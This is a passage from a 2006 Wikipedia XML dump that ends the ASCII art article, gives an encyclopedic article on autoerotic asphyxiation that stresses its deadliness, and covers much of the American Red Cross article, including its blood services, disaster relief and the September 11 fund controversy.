   ▄▄▀▀▀▀▀▄▄   
 ▄▀         ▀▄ 
▄▀   █   █   ▀▄
█ █▄▄▄▄▄▄▄▄▄█ █
█  █       █  █
 █  ▀▄▄▄▄▄▀  █ 
  ▀▄▄     ▄▄▀  
     ▀▀▀▀▀     &lt;/pre&gt;&lt;/font&gt;
|&lt;table align=right style=&quot;border: 1px dashed #2f6fab;&quot; &gt;
&lt;tr&gt;&lt;td&gt;
&lt;span style=&quot;margin:0px; line-height:1.2em; font-family: monospace; background-color: #f9f9f9;&quot;&gt;&lt;font color=&quot;#f9f9f9&quot;&gt;█&lt;/font&gt;▄▄▄▄▄▄▄&lt;font color=&quot;#f9f9f9&quot;&gt;█&lt;/font&gt;&lt;br&gt;
&lt;font color=&quot;#f9f9f9&quot;&gt;█&lt;/font&gt;█ &lt;font color=red&gt;▄ ▄&lt;/font&gt; █&amp;nbsp;&lt;br&gt;
&lt;font color=&quot;#f9f9f9&quot;&gt;█&lt;/font&gt;█&lt;font color=&quot;#f9f9f9&quot;&gt;██&lt;/font&gt;&lt;font color=green&gt;▄&lt;/font&gt;&lt;font color=&quot;#f9f9f9&quot;&gt;██&lt;/font&gt;█&amp;nbsp;&lt;br&gt;
&lt;font color=&quot;#f9f9f9&quot;&gt;█&lt;/font&gt;█&lt;font color=&quot;#f9f9f9&quot;&gt;██&lt;/font&gt;&lt;font color=green&gt;▀&lt;/font&gt;&lt;font color=&quot;#f9f9f9&quot;&gt;██&lt;/font&gt;█&amp;nbsp;&lt;br&gt;
&lt;font color=&quot;#f9f9f9&quot;&gt;█&lt;/font&gt;█ &lt;font color=blue&gt;▀▀▀&lt;/font&gt; █&amp;nbsp;&lt;br&gt;
&lt;font color=&quot;#f9f9f9&quot;&gt;█&lt;/font&gt;▀▀▀▀▀▀▀&amp;nbsp;
&lt;/table&gt;
|}
The IBM PC graphics hardware in text mode uses 16 bits per character. It supports a variety of configurations, but in its default mode under DOS they are used to give 256 glyphs from one of the IBM PC code pages ([[Code page 437]] by default), 16 foreground colors, 8 background colors, and a flash option. Such art can be loaded into screen memory directly. ANSI.SYS, if loaded, also allows such art to be placed on screen by outputting escape sequences that indicate movements of the screen cursor and color/flash changes. If this method is used then the art becomes known as [[ANSI art]]. The IBM PC code pages also include characters intended for simple drawing which often made this art appear much cleaner than that made with more traditional character sets. Plain text files are also seen with these characters, though they have become far less common since Windows GUI text editors (using the [[Windows ANSI code page]]) have largely replaced DOS based ones.

===Shift_JIS===
{{main|Shift_JIS art}}
A large character selection, the widespread use of Japanese on the internet, and the availibility of standard fonts with predictable spacing make [[Shift-JIS|Shift_JIS]] a common format for text based art on the internet.

===Unicode===
[[Unicode]] would seem to offer the ultimate flexibility in producing text based art with its huge variety of characters. However, finding a suitable fixed-width font is likely to be difficult if a significant subset of Unicode is desired. Also, the common practice of rendering Unicode with a mixture of variable width fonts is likely to make predictable display hard if more than a tiny subset of Unicode is used.

===Overprinting===
In the 1970s and early 1980s it was popular to produce a kind of ASCII art that relied on overprinting &amp;mdash; the overall darkness of a particular character space dependent on how many characters, as well as the choice of character, printed in a particular place. Thanks to the increased granularity of tone, photographs were often converted to this type of printout. Even manual typewriters or [[daisy wheel printer]]s could be used. The technique has fallen from popularity since all cheap printers can easily print photographs, and a normal text file (or an e-mail message or Usenet posting) cannot represent overprinted text. However, something similar has emerged to replace it: shaded or colored ASCII art, using [[ANSI]] video terminal markup or color codes (such as those found in [[HTML]], [[IRC]], and many internet [[message board]]s) to add a bit more tone variation. In this way, it is possible to create ASCII art where the characters only differ in color.

==See also==
* [[ASCII stereogram]]
* [[Wikipedia:Bad Jokes and Other Deleted Nonsense/ASCII cows]]

==Further reading==
* Danet, Brenda. ''Cyberpl@y: Communicating Online''. Oxford, UK: Berg, 2001. ISBN 1-85973-424-3.
* Riddell, Alan, ed. ''Typewriter Art''. London, UK: London Magazine Editions (LME), 1975. ISBN 900-626-99-2.
* Roemer, Madge. ''Fun With Your Typewriter''. Indian Hills, CO, USA: The Falcon's Wing Press, 1956. LCCN 56-13336.

==External links==
===ASCII art editors===
Editors created solely for the purpose of creating hand-made ASCII art.

*[http://download.com.com/3000-2192-10141644.html?tag=lst-0-1 ACiDDraw 1.25r] The leading ANSI and ASCII art editor for IBM PC DOS
*[http://torchsoft.com/en/aas_information.html ASCII Art Studio 2.11 for Windows] Shareware (30-day trial); allows freehand line-art illustration using the mouse
*[http://www.stud.tu-ilmenau.de/~siha-in/thesoftware.html ASCII/edit] Shareware (30-day trial); Mac OS X; objects can be grouped, overlap, combined, and intersection characters can be turned on or off individually for each line and frame
*[http://www.sigsoftware.com/emaileffects/ Email Effects] ASCII art editor for Mac and Windows, also converts pictures and supports FIGlet fonts.
*[[JavE]] Freeware; A java ASCII editor with standard Photoshop-style tools, image conversion, FIGlet support, math formulas editor and a lot of other features. Requires [[Java virtual machine]].
*[[PabloDraw|PabloDraw for Windows]] Freeware; features a peer-to-peer &quot;joint editing&quot; mode
*[http://sourceforge.net/projects/tundradraw/ TundraDraw] A cross-platform ANSI and ASCII editor for Microsoft Windows and X environments. Source code available.
*[http://www.pixio.biz/ TextDraw] Full-color ASCII art editor for Windows with an interface similar to Microsoft Paint. Export formats: BMP, JPG, HTML, RTF, TXT and TDF. 
*[[Open Directory Project]]: [http://dmoz.org/Arts/Visual_Arts/ASCII_Art/Software/ List of ASCII art editors]
*[http://editors.asciiart.net/ ASCIIart.net list of editors] A ''comprehensive'' list of ASCII editors for DOS and Windows with informative reviews on each one
* [http://ansilove.sourceforge.net Ansilove/PHP] A set of tools for converting ANSi/BiN/ADF/iDF/TUNDRA/XBiN files into PNG images

===ASCII art generators===
Tools which convert bitmapped images to ASCII text or otherwise automatically generate ASCII art with a minimal degree of human interaction.

*[http://aa-project.sourceforge.net/ AA-lib] A portable library which converts high-resolution images or video down to ASCII text images or 'video.'
*[http://www.the-mathclub.net/site/demos/abadporn.tar.gz APF] An ASCII/ANSI color console MPEG/Video player.
*[http://www.alterlife.org/asciiartist/ Alternate's ASCII Artist] A tiny Open-Source ASCII Art Generator written in C++ .
*[http://www.glassgiant.com/misc_ascii.php ASCII Artist] A simple Art-to-ASCII generator.
*[http://www.network-science.de/ascii/ ASCII Generator] Online; generates ASCII art text in a variety of fonts.
*[http://www.kammerl.de/ascii/AsciiSignature.php ASCII Signature Generator] Figlet Server - Online Ascii Art Signature Generator.
*[http://www.kammerl.de/ascii/AsciiStereo.php ASCII Stereogram Image Generator] Online; generates free ASCII stereograms.
*[http://www.kammerl.de/ascii/AsciiStereoMovie.php ASCII Stereogram Movie Generator] Online; generates free ASCII stereogram movies!
*[http://reactor.reality-protocol.de/main.php?page=asciiart ASCii.art 0.4] Freeware; An image bitmap to ASCII text converter. Supports conversion to colored ASCII using HTML color tags and features multiple image resize capabilities.
*[http://ascgen.jmsoftware.co.uk/ ASCII Generator (ascgen)] Freeware; A 32-bit Windows program that converts a large variety of images to ASCII art.
*[http://ascgen2.sourceforge.net/ ASCII Generator dotNET (ascgen)] Open Source and improved version rewritten in C#.
*[http://boxes.thomasjensen.com/ Boxes] GNU GPL; Draws ASCII art boxes around text. Useful for programmers.
*[http://www.figlet.org/ Figlet text generator] FIGlet font generator.
*[http://www.pixio.biz/ Imagetrix] Full-color ASCII Art conversion wizard for Windows.
*[http://img2ascii.sourceforge.net/ IMG2ASCII] GNU GPL; Transforms JPG or PNG images to [[Unicode]] or ASCII text online.
*[http://reactor.reality-protocol.de/main.php?page=jasciiart JASCiiArt 0.1] Freeware; Java Ascii Art generator for Windows, Linux, Mac OS. Reads BMP, GIF, JPG and PNG files and is able to generate HTML, RTF, TXT, BMP, PNG, JPG output ascii art.
*[http://www.pizzinini.net/projects/pic2ascii/ Pic2ASCII] Freeware; Transforms bitmaps to text (even analyzes symbol fonts). Reads BMP, GIF and JPG.
*[http://www.the-mathclub.net/index.php/JPEGTOCHAT JPEGTOCHAT] [[Public domain]]; converts [[JPG]] images to colored ASCII art.
*[http://png2mirc.sourceforge.net/ png2mirc] [[Public domain]]; converts [[PNG]] images to coloured [[mIRC]] ASCII art.
*[http://www.text-image.com/convert/ascii.html Text-Image.com] Online Image to ASCII converter.

===ASCII art groups===
ASCII art groups are defined as organized bodies of people dedicated to the purpose of creating ASCII text based artwork.

&lt;!-- please help keep the list items in alphabetical order--&gt;
*[http://123.ione.se/ 123]
*[http://boards.gamefaqs.com/gfaqs/gentopic.php?board=585451/ Alphabet Zoo] - ASCII artists predominantly skilled in the use of Arial font.
*[http://www.chemical-reaction.de/ Chemical Reaction]
*[http://www.galza.tk/ Galza] ASCII artists which predominantly make use of the IBM-PC Russian ASCII [[codepage]]
*[http://www.gamefaqsascii.com/ GameFAQsASCII] - a spinoff of Alphabet Zoo
*[[Impure ASCII]] [http://www.impure.tk/]
*[http://www.kuro5hin.org/user/uid:44416 The K5 ASCII reenactment players]
*[http://www.thelo0p.prv.pl/ The lo0p] Polish ASCII art group
*[[Mimic ASCII]] [http://www.mimic.ca/]
*[http://pen15.technopop.biz/ Pen15]: It's pronounced &quot;Pen Fifteen&quot;
*[[Remorse ASCII]] [http://www.remorse.org/]
*[[Superior Art Creations]]
*[news:alt.ascii-art alt.ascii-art], a Usenet newsgroup.

===ASCII artscene portals===
*[http://www.muff1n.com/ Muffin A&amp;A] - ASCII Scene News, Interviews, Gallerys
*[http://www.asciiscene.org/ Boondocks] - ASCII Scene Forums for PC and Amiga
*[http://www.downmix.com/ Downmix] - ASCII, ANSI, &amp; Hires Scene News &amp; Releases
*[http://www.thuglife.org/ Thuglife.org] - ASCII Scene News, Releases, and Forum

===Other links===
*[http://mbox.bz/slurp/ascii/bbsads/ BBS Ads Collection v1.0 - One of the most complete BBS textmode ad collections, containing over 1.500 single ads from various platforms and scenes.]
*[http://www.geocities.com/SoHo/Gallery/4219/ascii.html Heister's Digital Art - ASCII page]
*[http://www.acid.org/info/mirror/jgs/history.html History of ASCII (Text) Art] by [[Joan Stark]] (Mirror)
*[http://www.ludd.luth.se/~vk/pics/ascii/junkyard/techstuff/tutorials/Joan_Stark.html#tutorials ASCII Art Drawing Tutorials]
*[http://artcode.org/ascii/ ASCII Arts Ring and Directory]
*[http://www.asciimation.co.nz/ Star Wars] (a 22-minute long ''ASCIImation'' movie: requires Java)
** telnet://towel.blinkenlights.nl ([[telnet]] version of the [[Star Wars]] movie)
*[http://onyx.chattanoogastate.edu/~jack/matrix/ The.Matrix-ASCII] The original [[The Matrix|Matrix]] film converted to ASCII animation (DVD ISO)
*[http://www.romanm.ch//seiten_layout/portfolio_ascii.php More ascii art movies]
*[http://aa5.2ch.net/mona/ Japanese ASCII Art]: requires Japanese font (available free from Windows/IE update, for Windows users)
*[http://www.geocities.co.jp/HeartLand-Yurinoki/1836/ How to draw Mona-style AA] (in Japanese)
*[http://c2.com/cgi/wiki?UmlAsciiArt Illustrating software design using UnifiedModelingLanguage is discussed]
*[http://www.chris.com/ascii/ An ASCII art archive]
*[http://userpages.umbc.edu/~dschmi1/cows/ascii.html ASCII art cow collection]
*[http://www.asciiartfarts.com/ ASCII Art Farts]
*[http://www.asciibabes.com/ Actors' and musicians' portraits rendered in ASCII]
*[http://www.nerd-boy.net/ www.nerd-boy.net] [[Nerd Boy]], an ASCII comic strip by Joaquim Gandara.
*[http://www.ascii-art.de/ ASCII art dictionary] Huge collection by Andreas Freise sorted by words (topics).
*[http://www.ascii-art.com/ ASCII art gallery by Joan Stark]
*[http://www.ascii-art.net/ ASCII art by Sebastian Stoecker]
*[http://xcski.com/~ptomblin/planes.txt The ORIGINAL Ascii Airplane Collection]
*[http://www.colintheowl.com/ Colin The Owl] Several cartoons including Colin The Owl, Derren Brown's School Days, and ASCII 'interpretations' of classic video games.
*[http://www.baetzler.de/humor/ascii_cows.var The canonical list of Ascii Cows ]
*[http://www.unicodeart.com/ &amp;#1160; Unicode art - an extended ASCII art form &amp;#1160;]
*[http://www.freewebs.com/civiascii2/warriornessfaq.htm Tutorial for Gamefaqs compatible ASCII]
*[http://www.freewebs.com/ysqure3/links.htm Collection of non fixed-width artists]
*[http://kylewiki.mine.nu/wiki/ASCII_Art KyleWiki:Ascii Art] A collection of fixed-width ascii art
*[http://kozou.run.buttobi.net/ AA underground thread @ hiding place (English version)]
*[http://abstract.cs.washington.edu/~renacer/ascii-matrix.html.gz The Matrix - Bullet Dodging Scene]
*[http://www.info-brevetti.org/ascii/ The best of ASCII art] The best in 20 categories
*[http://ridaas.org/punkabbestia/ascii-art.htm ASCII/ANSI Art] ASCII/ANSI Art
*[http://ridaas.org/ascii-search ASCII-Search] ASCII Art Search Engine
*[http://www.apollosoft.de/ASCII/ ASCII Font] An ASCII Font for Windows
*[http://www.cumbrowski.com/RoySAC/#asciiartstyles The three Styles of the Underground ASCII Art Scene] learn about the 3 dominant underground ascii styles 
* [http://cleaner.untergrund.net Cleaner Alternative Museum] Cleaner's ASCii/ANSi galleries.

[[Category:Articles with ASCII art]]
[[Category:ASCII art]]
[[Category:Digital art]]

[[cs:ASCII art]]
[[de:ASCII-Art]]
[[eo:Arto ASCII]]
[[es:Arte ASCII]]
[[fi:ASCII-taide]]
[[fr:Art ASCII]]
[[he:אמנות ASCII]]
[[ia:Arte in ASCII]]
[[it:ASCII art]]
[[ja:アスキーアート]]
[[lt:ASCII menas]]
[[nl:ASCII art]]
[[pl:ASCII-Art]]
[[pt:ASCII art]]
[[simple:ASCII-art]]
[[sk:ASCII umenie]]
[[sl:ASCII umetnost]]
[[sv:ASCII-konst]]
[[zh:ASCII艺术]]</text>
    </revision>
  </page>
  <page>
    <title>Autoerotic asphyxiation</title>
    <id>1885</id>
    <revision>
      <id>41701525</id>
      <timestamp>2006-03-01T03:52:28Z</timestamp>
      <contributor>
        <ip>69.192.37.62</ip>
      </contributor>
      <comment>/* Cultural references */</comment>
      <text xml:space="preserve">'''Autoerotic asphyxiation''', or '''AEA''', is the practice of self-[[strangulation]], typically by the use of a [[Ligature (medicine)|ligature]], while [[masturbation|masturbating]] in order to heighten the sexual pleasure as more [[endorphine]]s are produced when the body reaches the near state of [[asphyxia]]. While highly pleasurable, AEA is also an extremely dangerous practice that results in many accidental deaths each year. A small number of people doing AEA use a plastic bag over their head, but most prefer the strangulation method. 

Deaths often occur when the loss of consciousness caused by partial asphyxia leads to loss of control over the means of strangulation, resulting in continued asphyxia and death. Victims are often found to have rigged some sort of &quot;rescue mechanism&quot; which has not worked in the way they anticipated as they lost consciousness. 

It has also been speculated that in some cases autoerotic asphyxiation may have triggered the little-known phenomenon of [[carotid sinus#Carotid sinus reflex death|carotid sinus reflex death]].

It is a popular subject in [[tabloid]]s and celebrity gossip magazines, particularly when a celebrity dies as a result of [[suicide]] or other mysterious circumstances. Such was reputedly the case with the deaths of [[Jerzy Kosiński]] (in 1991) and [[Michael Hutchence]] (in 1997), though no evidence to support the claim was produced in either case.

The artist [[Vaughn Bodé]] died from this cause in 1975.

The death in 1994 of [[Stephen Milligan]], the British Conservative MP for Eastleigh, was a case of auto-erotic asphyxiation combined with [[self-bondage]]. This combination is particularly lethal.

A more recent case is the death in 2004 of [[British National Party|BNP]] and [[British National Front|National Front]] member [[Kristian Etchells]]. [http://www.oldham-chronicle.co.uk/NEWSF04.html][http://www.oldhamadvertiser.co.uk/news/s/177/177605_national_front_member_died_during_sex_act.html]

Recent court cases have come to varied results as to whether the unintentional death resulting from autoerotic asphyxiation falls under the &quot;self-induced injury&quot; clause of standard [[life insurance]] policies, which prevents payouts for suicide.  In June of 2003, one US court said the intent was not death and therefore the case was an accident [http://home.aigonline.com/content/0,1109,15975-1567-legal--legal,00.html], while another in August 2003 said it does technically fall within the terms since death is the logical result of asphyxiation 
[http://home.aigonline.com/content/0,1109,16158-1572-legal,00.html].

== Cultural references ==
Autoerotic asphyxiation is key to the plots of many books, movies, and TV shows.  Included is an accidental death in the film ''[[The Ruling Class]]'' (1972), starring [[Peter O'Toole]], as well as the movies ''[[Ken Park]]'' and ''[[Full Frontal]]'', the [[Thomas Harris]] novel ''[[Hannibal (film)|Hannibal]]'', the [[P. D. James]] novel ''[[An Unsuitable Job for a Woman]]'', the [[Erika Barr]] book ''[[Acquisition of Power]]'' (ISBN 1591293073), a 2002 episode of the HBO television series ''[[Six Feet Under]]'', the US version of [[Queer as Folk (U.S.)|Queer as Folk]], a 2005 episode of the CBS television series ''[[CSI: Crime Scene Investigation]]'', and is mentioned and talked about in the 2005 [[George Carlin]] HBO Special ''[[Life is Worth Losing]]''. In the movie &quot;Life As A House&quot; the main character Sam (Hayden Christensen) is depicted indulging in autoerotic asphyxiation in the first few scenes.

== External links ==
* http://www.silentvictims.org/
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/february/8/newsid_2538000/2538165.stm BBC News story about the death of Stephen Milligan]
* [http://216.239.41.104/search?q=cache:hcGyRuuPeagJ:www.cwu.edu/~jenkinsa/Autoerotic_Asphyxia_Page.html+%22autoerotic+asphyxiation%22+dictionary+OR+glossary+OR+words+OR+terms+OR+lexicon&amp;hl=en&amp;lr=lang_en&amp;ie=UTF-8 Information on the practice of autoerotic asphyxia]

[[Category:Masturbation]]</text>
    </revision>
  </page>
  <page>
    <title>American Red Cross</title>
    <id>1886</id>
    <revision>
      <id>42033751</id>
      <timestamp>2006-03-03T09:49:18Z</timestamp>
      <contributor>
        <username>UW</username>
        <id>358956</id>
      </contributor>
      <minor />
      <comment>Revert - no overall relevance</comment>
      <text xml:space="preserve">[[Image:Poster-red-cross-volunteer-for-victory.jpg|thumb|202px|A WWII-era poster encouraged American women to volunteer for the Red Cross as part of the war effort.]]
The '''American Red Cross''' (chartered as the '''American National Red Cross''') is a humanitarian organization that provides emergency assistance, disaster relief and education inside the [[United States]], as part of the [[International Federation of the Red Cross]].

Today, in addition to domestic [[disaster relief]], the American Red Cross offers compassionate services in five other areas: community services that help the needy; support and comfort for [[military]] members and their families; the collection, processing and distribution of lifesaving [[blood]] and blood products; educational programs that promote health and safety; and international relief and development programs. 

Governed by [[volunteers]] and supported by community [[donations]], the American Red Cross is a nationwide network of nearly 1,000 chapters and Blood Services regions dedicated to saving lives and helping people prevent, prepare for and respond to [[emergencies]]. More than a million Red Cross volunteers and 30,000 employees annually mobilize relief to families affected by more than 67,000 disasters, train almost 12 million people in lifesaving skills and exchange more than a million emergency messages for U.S. military service personnel and their families. The Red Cross is also the largest supplier of blood and blood products to more than 3,000 hospitals across the nation and also assists victims of international disasters and conflicts at locations worldwide. 

The American Red Cross is headquartered in [[Washington, D.C.]]. Jack McGuire serves as interim president following the resignation of [[Rear Admiral]] Marsha J. Evans ([[United States Navy|USN]], ret.), in December, 2005. [http://www.nytimes.com/2005/12/13/international/13cnd-cross.html?ex=1292130000&amp;en=b1afad6cb3ef7854&amp;ei=5088&amp;partner=rssnyt&amp;emc=rss] 

[[Image:Lawn1917.jpg|thumb|202px|WWI Red Cross rally at the [[University of Virginia]], May 1917.]]

[[Image:AmRedCross.jpg|thumb|202px|The headquarters of the American Red Cross in [[Washington, D.C.]] was built in 1917 and dedicated &quot;in memory of the heroic women of the [[American Civil War|Civil War]]&quot;.]]

== Founders ==  
The American Red Cross was established on [[May 21]], [[1881]] by [[Clara Barton]], who became the first president of the organization.  Barton first organized a meeting on [[May 12]] of that year at the home of [[United States Senate|Sen.]] [[Omar D. Conger]] ([[Republican Party (United States)|R]], [[Michigan|MI]]) [http://www.redcross.org/museum/history/charter.asp].  Fifteen were present at this first meeting, including Barton, Conger, and [[United States House of Representatives|Rep.]] [[William Lawrence (Ohio)|William Lawrence]] ([[Republican Party (United States)|R]], [[Ohio|OH]]) (who became the first vice-president [https://www.trianglearc.org/ARCweb/FD/2001ballreview.htm],[http://www.co.logan.oh.us/museum/Logan_County_History/body_logan_county_history.html]).

[[Jane Delano]] (1862-1919) was the founder of the [[American Red Cross Nursing Service]].

=== Clara Barton ===
[[Clara Barton]] (1821-1912) had already had a career as a teacher and federal bureaucrat when the [[American Civil War]] broke out. (She started teaching around the age of 15 or 16.) After working tirelessly on [[humanitarian]] work during and after the conflict, on advice of her doctors, in 1869, she went to Europe for a restful vacation. There, she saw and became involved in the work of the [[International Red Cross]] during the [[Franco-Prussian War]], and determined to bring the organization home with her to America. 

When Clara Barton began the organizing work in the U.S. in 1873, no one thought the country would ever again faced an experience like the Civil War. However, Barton was not one to lose hope in the face of the bureaucracy, and she finally succeeded during the administration of President [[Chester A. Arthur]] on the basis that the new American Red Cross organization could also be available to respond to other types of crisis. 

As Barton expanded the original concept of the Red Cross to include assisting in any great national disaster, this service brought the United States the &quot;Good Samaritan of Nations&quot; label in the International Red Cross. Barton naturally became President of the American branch of the society, known officially as the American National Red Cross. [[John D. Rockefeller]] gave money to create a national headquarters in [[Washington, DC]], located one block from the [[White House]].

Clara Barton led one of the group's first major relief efforts, a response to the Great Fire of 1881 ([[Thumb Fire]]) in the Thumb region of Michigan, which occurred on Sept 4-6, 1881.  Over 5000 were left homeless.  The next major disaster dealt with was the [[Johnstown Flood]] which occurred on [[May 31]], [[1889]]. Over 2,209 people died and thousands more were injured in or near [[Johnstown, Pennsylvania]] in one of the worst disasters in United States history. She resigned from the American Red Cross in [[1904]].

== Red Cross biomedical services ==

{{copyvio|url=&lt;http://www.redcrossstl.org/public/blood/biomedical_services.htm&gt;}}
&lt;!-- NOTE: This section may be a copyright violation (source: http://www.redcrossstl.org/public/blood/biomedical_services.htm). Please reword it. --&gt;
===Blood===
The American Red Cross supplies roughly 45% of the [[blood donation|donated blood]] in the United States. Independent community-based blood centers supply 45% and 10% is collected directly by hospitals.  In December of 2004, the American Red Cross completed their largest blood processing facility in the United States in [[Pomona, California]] on the campus grounds of the [[Cal Poly Pomona|California State Polytechnic University, Pomona]]. The Red Cross has had several controversies surrounding their blood program in which the center mishandled donated blood.

===Tissue services===
For more than twenty years, the American Red Cross provided [[allograft]] tissue for [[transplant]] through its Tissue Services Program. It cared for thousands of donor families who gave the gift of [[tissue donation]] and helped more than 1 million transplant recipients in need of this life saving or life-enhancing gift of tissue. At the end of January 2005, the American Red Cross ended its Tissue Services program in order to focus on its primary missions of Disaster Relief and Blood Services.

===Plasma services===
A leader in the [[Blood plasma|plasma]] industry, the Red Cross provides more than one quarter of the nation's plasma products. Red Cross Plasma Services seeks to provide the American people with plasma products which are not only reliable and cost-effective, but also as safe as possible.

In February [[1999]], the Red Cross completed its &quot;Transformation,&quot; a $287 million program that: re-engineered Red Cross Blood Services' processing, testing and distribution system; and established a new management structure. 

===Nucleic Acid Testing===
On [[March 1]], [[1999]], the American Red Cross became the first U.S. blood banking organization to implement a [[Nucleic Acid Testing]] (NAT) study. This process is different from traditional testing because it looks for the [[genetics|genetic]] material of [[HIV]] and [[hepatitis C]] (HCV), rather than the body's response to the disease.

The NAT tests for HIV and HCV have been licensed by the [[FDA]]. These tests are able to detect the genetic material of a transfusion-transmitted virus like HIV without waiting for the body to form antibodies, potentially offering an important time advantage over current techniques. 

===Leukoreduction===
A person's own [[leukocytes]] (white blood cells) help fight off foreign substances such as [[bacteria]], [[viruses]] and abnormal cells, to avoid sickness or disease. But when transfused to another person, these same leukocytes do not benefit the recipient. In fact, these foreign leukocytes in transfused [[red blood cells]] and [[platelets]] are often not well tolerated and have been associated with some types of transfusion complications.

The Red Cross is moving toward system-wide universal prestorage leukocyte reduction to improve patient care.

===Research===
The Red Cross operates the [[Jerome H. Holland Laboratory]], based in [[Rockville, Maryland]]. Each year, the Red Cross invests more than $25 million in research activities at the Holland Laboratory and in the field.

===Cellular therapies===
One technique the Red Cross has identified that shows strong potential for treating people in new ways is through [[cellular therapy|cellular therapies]]. This new method of treatment involves collecting and treating blood cells from a patient or other blood donor. The treated cells are then introduced into a patient to help revive normal cell function; replace cells that are lost as a result of disease, accidents or aging; or used to prevent illnesses from appearing.

Cellular therapy may prove to be particularly helpful for patients who are being treated for illnesses such as [[cancer]], where the treated cells may help battle cancerous cells.

==Court ordered consent decree==
The Food and Drug Administration (FDA) took court action against the American Red Cross in response to deficiencies in their tracking and procedures for ensuring the safety of the blood supply.  The consent decree outlines some of the violations of federal law that the American Red Cross engaged in before 1993.  Fines were imposed in the millions of dollars.

In response to the decree, Red Cross Biomedical Services now has: a standardized [[computer]] system that efficiently maintains the blood donor database; a network of eight, state-of-the-art National Testing Laboratories (NTLs) that test about 6 million units of blood collected by the Red Cross's 36 blood regions; the Charles Drew Biomedical Institute, which allows for the Red Cross to provide training and other educational resources to Red Cross Blood Services' personnel; a highly qualified Quality Assurance/Regulatory Affairs Department, which helps to ensure compliance with [[FDA]] regulations in every Red Cross Blood Services region; and, 
a centrally managed blood inventory system to ensure the consistent availability of blood and blood components in every Red Cross Blood Services region throughout the country.

In an [http://www.fda.gov/ora/frequent/letters/1000123507_ARC/consent_decree_100023507.pdf agreement with the American Red Cross] the Consent Decree was amended in 2003 with penalties for specific violations.  

The FDA can impose penalties after April 2003 up to the following maximum amounts:
*  $10,000 per event (and $10,000 per day) for any violation of an ARC standard operating procedure (SOP), the law, or consent decree requirement and timeline
* $50,000 for preventable release of each unit of blood for which FDA determines that there is a reasonable probability that the product may cause serious adverse health consequences or death
**$5,000 for the release of each unit that may cause temporary problems, up to a maximum of $500,000 per event
* $50,000 for the improper re-release of each unsuitable blood unit that was returned to ARC inventory
* $10,000 for each donor inappropriately omitted from the [[National Donor Deferral Registry]], a list of all unsuitable donors

== Red Cross Health and Safety services ==
The American Red Cross has become a household name for providing first aid, Cardiopulmonary Resuscitation (CPR), Automated External Defibrillator (AED), water safety and lifeguarding training throughout the United States. The training programs are primarily aimed at laypersons, workplaces, and aquatic facilities. In 2005, the American Red Cross co-lead the 2005 Guidelines for First Aid, which aims to provide up-to-date and peer-reviewed first aid training material. Many American Red Cross chapters also sell first aid kits and other related equipment.

==Disaster services==
Each year, the American Red Cross responds immediately to more than 67,000 [[disasters]], including house or apartment [[fires]] (the majority of disaster responses), [[hurricane]]s, [[flood]]s, [[earthquake]]s, [[tornado]]es, [[hazardous materials]] spills, transportation [[accidents]], [[explosions]], and other natural and man-made disasters.

Although the American Red Cross is not a [[government]] agency, its authority to provide disaster relief was formalized when, in [[1905]], the Red Cross was chartered by [[Congress]] to &quot;carry on a system of national and international relief in time of peace and apply the same in mitigating the sufferings caused by pestilence, famine, fire, floods, and other great national calamities, and to devise and carry on measures for preventing the same.&quot; The Charter is not only a grant of power, but also an imposition of duties and obligations to the nation, to disaster victims, and to the people who support its work with their donations.

Red Cross disaster relief focuses on meeting people's immediate emergency disaster-caused needs. When a disaster threatens or strikes, the Red Cross provides [[shelter]], [[food]], and [[health]] and [[mental health]] services to address basic human needs. In addition to these services, the core of Red Cross disaster relief is the assistance given to individuals and families affected by disaster to enable them to resume their normal daily activities independently.

The Red Cross also feeds emergency workers, handles inquiries from concerned family members outside the disaster area, provides blood and blood products to disaster victims, and helps those affected by disaster to access other available resources.

The American Red Cross also works hard to encourage preparedness by providing important literature on readiness. Many chapters also offer free classes to the general public.

==2005 Hurricanes== 

The 2005 Hurricane Season proved to be the most challenging disaster response the American Red Cross had ever seen in its history. Forcasting a major disaster before the landfall of [[Hurricane Katrina]], the organization enlisted 2,000 volunteers throughout the nation to be on a &quot;stand by&quot; deployment list.

During and after the Hurricanes Katrina, Wilma and Rita, the American Red Cross had opened 2,700 different shelters across 27 different states (and registered 3.4 million overnight stays), some of which were evacuation centers for those displaced by the disaster. A total of 225,000 Red Cross workers (95% of which were non-paid volunteers) were utilized to provide sheltering, casework, communication and assessment services throughout thse three hurricanes.  The organization served 34 million meals and 30 million snacks to victims of the disasters and to rescue workers. Red Cross emergency financial assistance was provided to 1.4 million families, which encompassed a total of 4 million people. The Red Cross estimated that it would need USD $2.1 Billion to cover costs associated with the disaster.

No other non-governmental agency has provided such a significant amount assistance to the victims of the Hurricane Season of 2005. 

On February 3rd 2006, 5 months after Katrina's landfall, the American Red Cross announced that it had met its fundraising goals, and would no longer engage in new 2005 Hurricane relief fundraising. The National organization urged the public to help other charities engaged in hurricane relief work, or to donate to their local Red Cross chapters.

==September 11 controversy==

In the aftermath of the [[September 11, 2001 attacks]], the Red Cross, like many charitable organizations, solicited funds and blood donations for Red Cross activities for the victims of the attacks. Dr. Bernardine Healy, the president of the American Red Cross, appeared on telethons urging individuals to give generously. However, according to America's Blood Centers, the nonprofit consortium that provides the other 50% of the United States blood supply, no national blood drive was needed, since localized blood drives in the affected areas would be sufficient to meet the demand. The American Red Cross felt that the terrorist attacks were a sign of increased instability and urged people to donate blood, even though it wasn't needed at that time. In the end, some blood was destroyed unused.

Also, the American Red Cross created the ''Liberty Fund'' that was ostensibly designed for relief for victims of the terrorist attacks. However, when the fund was closed in October, after reaching the goals of donations, only 30% of the $547 million received was spent. Dr. Healy announced that the majority of the remainder of the money would be used to increase blood supply, improve telecommunications, and prepare for terror attacks in other parts of the country.

Many donors felt that they had donated specifically to the victims of the September 11 attacks and objected to the diversion of funds. Survivors complained of the bureaucratic process involved in requesting funds and the slow delivery of the checks to meet immediate needs. Congressional hearings were called and New York State Attorney General [[Eliot Spitzer]] investigated the Red Cross. In the end, the American Red Cross appointed former U.S. senator [[George_J._Mitchell|George Mitchell]] to handle distribution of the funds. Dr. Healy was forced to resign for her role in the situation, and the Red Cross pledged that all funds would go to directly benefit the victims of the September 11 attacks.  Healy received a severance payment of $1,569,630 [http://www.give.org/reports/arc.asp].  In the end, out of the $961 million received, 71% went as cash assistance to those directly affected, 15% went for long term mental care and hospital care for the victims and people in the affected region, and 10% went for immediate disaster relief like shelters, food, and health care. The remaining 4% went for administration. [http://www.redcross.org/press/disaster/ds_pr/pdfs/libertyfund013103.pdf]

